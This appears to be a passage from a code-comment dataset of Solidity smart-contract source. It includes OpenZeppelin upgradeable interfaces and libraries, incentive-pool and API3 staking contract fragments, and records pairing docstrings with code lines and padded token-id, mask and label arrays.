uint256 _tokenId) external; event Claimed(address indexed _account, uint256 _amount); event Updated(address indexed _account, uint256 indexed _tokenId); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; interface ILabGame { function getToken(uint256 _tokenId) external view returns (uint256); function balanceOf(address _account) external view returns (uint256); function tokenOfOwnerByIndex(address _account, uint256 _index) external view returns (uint256); function ownerOf(uint256 _tokenId) external view returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ error Initializable_AlreadyInitialized(); error Initializable_NotInitializing(); abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. if(_initializing ? !_isConstructor() : _initialized) revert Initializable_AlreadyInitialized(); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { if (!_initializing) revert Initializable_NotInitializing(); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; /** * @dev Collection of functions related to the address type */ error Address_InsufficientBalance(uint256 balance, uint256 amount); error Address_UnableToSendValue(address recipient, uint256 amount); error Address_CallToNonContract(address target); error Address_StaticCallToNonContract(address target); library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { if (address(this).balance < amount) revert Address_InsufficientBalance(address(this).balance, amount); (bool success, ) = recipient.call{value: amount}(""); if (!success) revert Address_UnableToSendValue(recipient, amount); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { if (address(this).balance < value) revert Address_InsufficientBalance(address(this).balance, value); if (!isContract(target)) revert Address_CallToNonContract(target); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { if (!isContract(target)) revert Address_StaticCallToNonContract(target); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
* Set LabGame contract @param _labGame Address of labgame contract/
function setLabGame(address _labGame) external onlyRole(DEFAULT_ADMIN_ROLE) { labGame = ILabGame(_labGame); }
14,890,552
[ 1, 694, 511, 378, 12496, 6835, 225, 389, 7411, 12496, 5267, 434, 11814, 13957, 6835, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 444, 14506, 12496, 12, 2867, 389, 7411, 12496, 13, 3903, 1338, 2996, 12, 5280, 67, 15468, 67, 16256, 13, 288, 203, 202, 202, 7411, 12496, 273, 467, 14506, 12496, 24899, 7411, 12496, 1769, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xE3ed8ca93b465455254003D6b245Dd8B4221af21/sources/src/WLD.sol
Make sure the initial supply cap is maintained.
require(totalSupply() <= INITIAL_SUPPLY_CAP);
3,146,522
[ 1, 6464, 3071, 326, 2172, 14467, 3523, 353, 11566, 8707, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2583, 12, 4963, 3088, 1283, 1435, 1648, 28226, 67, 13272, 23893, 67, 17296, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xD1e55Bff66da2Dc0290269B8e4b843531EBa7628/sources/contracts/IncentivePool.sol
* @notice Update user incentive index and last update timestamp in minting or burining lTokens./
function updateIncentivePool(address user) external override onlyLToken { _accruedIncentive[user] = getUserIncentive(user); _incentiveIndex = _userIncentiveIndex[user] = getIncentiveIndex(); if (isClosed()) { _lastUpdateTimestamp = endTimestamp; return; } _lastUpdateTimestamp = block.timestamp; emit UpdateIncentivePool(user, _accruedIncentive[user], _incentiveIndex); }
16,533,463
[ 1, 1891, 729, 316, 2998, 688, 770, 471, 1142, 1089, 2858, 316, 312, 474, 310, 578, 324, 295, 10008, 328, 5157, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1089, 382, 2998, 688, 2864, 12, 2867, 729, 13, 3903, 3849, 1338, 48, 1345, 288, 203, 565, 389, 8981, 86, 5957, 382, 2998, 688, 63, 1355, 65, 273, 4735, 382, 2998, 688, 12, 1355, 1769, 203, 565, 389, 267, 2998, 688, 1016, 273, 389, 1355, 382, 2998, 688, 1016, 63, 1355, 65, 273, 7854, 2998, 688, 1016, 5621, 203, 203, 565, 309, 261, 291, 7395, 10756, 288, 203, 1377, 389, 2722, 1891, 4921, 273, 679, 4921, 31, 203, 1377, 327, 31, 203, 565, 289, 203, 565, 389, 2722, 1891, 4921, 273, 1203, 18, 5508, 31, 203, 203, 565, 3626, 2315, 382, 2998, 688, 2864, 12, 1355, 16, 389, 8981, 86, 5957, 382, 2998, 688, 63, 1355, 6487, 389, 267, 2998, 688, 1016, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@api3-contracts/api3-token/contracts/interfaces/IApi3Token.sol"; import "./interfaces/IInflationManager.sol"; import "./interfaces/IApi3State.sol"; /// @title Contract that keeps all the state variables of the API3 pool /// @notice The pool owner (i.e., the API3 DAO) uses this contract to update /// parameters such as the address of the inflation manager or if the users /// need to give a lead time before unpooling contract Api3State is Ownable, IApi3State { // An insurance claim. claimsManager transfers amount number of API3 tokens // to beneficiary if it gets accepted. struct Claim { address beneficiary; uint256 amount; ClaimStatus status; } // An IOU given to a user that can be redeemed if the claim with claimId // resolves to redemptionCondition. Note that the amount that the IOU will // pay out is denoted in shares, rather than an absolute amount of tokens. struct Iou { address userAddress; uint256 amountInShares; bytes32 claimId; ClaimStatus redemptionCondition; } // A timelock that prevents the user from withdrawing amount number of API3 // tokens from the pool contract before epoch struct Vesting { address userAddress; uint256 amount; uint256 epoch; } /// API3 token contract IApi3Token public immutable api3Token; /// A contract that mints API3 tokens every epoch and adds them to the /// vested rewards to be distributed in the next epoch IInflationManager public inflationManager; /// A contract that is authorized to create and resolve insurance claims address public claimsManager; // ~~~~~~Epoch~~~~~~ /// Period that is used to quantize time for the pool functionality. The /// value will be 1 week=7*24*60=10080 and immutable. uint256 public immutable epochPeriodInSeconds; /// The timestamp when the first epoch is supposed to start. We have the /// deployer provide this value to be able to have a round number (e.g., /// exactly on Thursday at 15:00 UTC), which is desirable for staking UX. uint256 public immutable firstEpochStartTimestamp; // ~~~~~~Epoch~~~~~~ // ~~~~~~Transfer~~~~~~ /// @dev Mapping of user addresses to balances. Includes vested and /// unvested funds, but not IOUs. mapping(address => uint256) internal balances; // ~~~~~~Transfer~~~~~~ // ~~~~~~Pooling~~~~~~ /// Total funds (i.e., API3 tokens) in the pool. Note that both this and /// totalShares are initialized at 1. This means that initially, 1 API3 /// token buys 1 share. uint256 public totalPooled = 1; /// Total number of shares uint256 public totalShares = 1; /// @dev Mapping of user addresses to shares mapping(address => uint256) internal shares; /// @dev Mapping of user addresses to when they have made their last /// unpooling requests mapping(address => uint256) internal unpoolRequestEpochs; /// The minimum number of epochs the users have to wait to make a new /// unpooling request. It will be left at 0 for user convenience until the /// insurance functionality goes online. uint256 public unpoolRequestCooldown; /// The exact number of epochs the users have to wait to unpool after their /// last unpooling request. It will be left at 0 for user convenience until /// the insurance functionality goes online. uint256 public unpoolWaitingPeriod; // ~~~~~~Pooling~~~~~~ // ~~~~~~Staking~~~~~~ /// @dev Mapping of epochs to total staked shares mapping(uint256 => uint256) internal totalStakedAtEpoch; /// @dev Mapping of user addresses to mappings of epochs to staked shares /// of individual users mapping(address => mapping(uint256 => uint256)) internal stakedAtEpoch; /// @dev Mapping of user addresses to the addresses of their delegates. The /// delegate being 0 means the user is their own delegate. The same effect /// can be achieved by explicitly setting the delegate to be userAddress. mapping(address => address) internal delegates; /// @dev Mapping of user addresses to mappings of epochs to delegated /// voting power of individual users. This includes self-delegation, and is /// a direct representation of voting power. mapping(address => mapping(uint256 => uint256)) internal delegatedAtEpoch; /// @dev Mapping of epochs to total rewards that will be vested (e.g., /// inflationary) mapping(uint256 => 